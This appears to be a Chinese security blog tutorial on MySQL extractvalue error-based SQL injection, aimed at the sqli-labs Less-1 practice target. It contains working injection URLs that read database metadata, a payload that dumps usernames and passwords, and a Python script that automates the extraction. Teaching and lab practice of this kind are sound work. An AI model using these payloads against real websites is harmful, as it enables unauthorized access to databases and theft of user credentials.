【漏洞挖掘】——107、Extractvalue报错注入刨析

Extractvalue报错注入流程

下面的语句不可以直接使用,首先需要刻画后台SQL语句的"画像",之后确定如何构造,例如使用“/?id=1 and 语句”还是“/?id=1' and 语句”等其他类型的语句。

获取数据库版本信息
  • http://www.example.com/?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e)) --+
获取用户名相关信息
  • http://www.example.com/?id=1 and extractvalue(1, concat(0x7e, (select user()),0x7e)) --+
获取数据库名的信息
  • http://www.example.com/?id=1 and extractvalue(1, concat(0x7e, (select database()),0x7e)) --+
获取数据库的表信息
  • http://www.example.com/?id=1 and extractvalue(1, concat(0x7e, (select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1),0x7e)) --+

      在实际使用过程中需要更换limit start,length中的start的值,依次来获取

### 针对 Less-1 的 Union SQL 注入ExtractValue 报错注入 #### Union SQL 注入 在靶场环境中,`Less-1` 是一个经典的 SQL 注入练习场景。通过构造恶意输入,可以绕过正常的身份验证逻辑并获取敏感信息。以下是基于 `union` 的 SQL 注入的详细说明: Union SQL 注入的核心思想是利用 SQL 中的 `UNION` 操作符将攻击者构造的查询结果与原始查询结果合并显示[^3]。例如,可以通过以下方式构造查询字符串: ```sql ?id=1' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+ ``` 上述语句中,`extractvalue()` 函数用于触发错误并将数据库名返回给用户[^1]。 #### ExtractValue 报错注入 ExtractValue 报错注入是一种基于错误回显的 SQL 注入技术。其核心原理是通过构造 XPath 查询表达式,使得 MySQL 在解时抛出错误,并将错误信息中的内容泄露给攻击者[^2]。 以下是具体的实现过程: 1. 使用 `extractvalue()` 函数构造恶意的 XPath 表达式。 2. 利用 `concat()` 将目标数据嵌入到 XPath 表达式中。 3. 触发 MySQL 的错误回显机制,从而获取目标数据。 例如,以下语句用于提取当前数据库名称: ```sql ?id=-1' and extractvalue(1,concat(0x7e,database())) --+ ``` 上述语句通过 `database()` 函数获取当前数据库名称,并将其嵌入到错误信息中。 #### 获取敏感信息 结合 `union` 和 `extractvalue` 技术,可以进一步获取敏感信息。例如,以下语句用于提取用户名和密码: ```sql ?id=' and (extractvalue('anything',concat('~',(select group_concat(id,username,password) from security.users)))) --+ ``` 上述语句通过 `group_concat()` 函数将用户表中的所有字段值拼接成一个字符串,并通过 `extractvalue()` 引发错误回显[^5]。 #### 报错注入原理 ExtractValue 报错注入的原理在于 MySQL 对 XPath 表达式的解机制。当 `extractvalue()` 函数接收到非法的 XPath 表达式时,MySQL 会抛出错误,并将错误信息中的内容暴露给攻击者。通过精心构造 XPath 表达式,可以将目标数据嵌入到错误信息中,从而实现数据泄露[^2]。 #### 示例代码 以下是一个完整的 Python 脚本示例,用于自动化提取敏感信息: ```python import requests url = "http://localhost/sqli-labs-master/Less-1/?id=" payload = "' and (extractvalue('anything',concat('~',(select group_concat(id,username,password) from security.users)))) --+" response = requests.get(url + payload) if "XPATH syntax error" in response.text: start_index = response.text.find("~") + 1 end_index = response.text.find("~", start_index) extracted_data = response.text[start_index:end_index] print("Extracted Data:", extracted_data) else: print("Injection failed or no data found.") ``` #### 注意事项 - 确保靶场环境已正确配置,避免对真实系统造成影响。 - 在实际渗透测试中,需严格遵守相关法律法规及道德规范。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值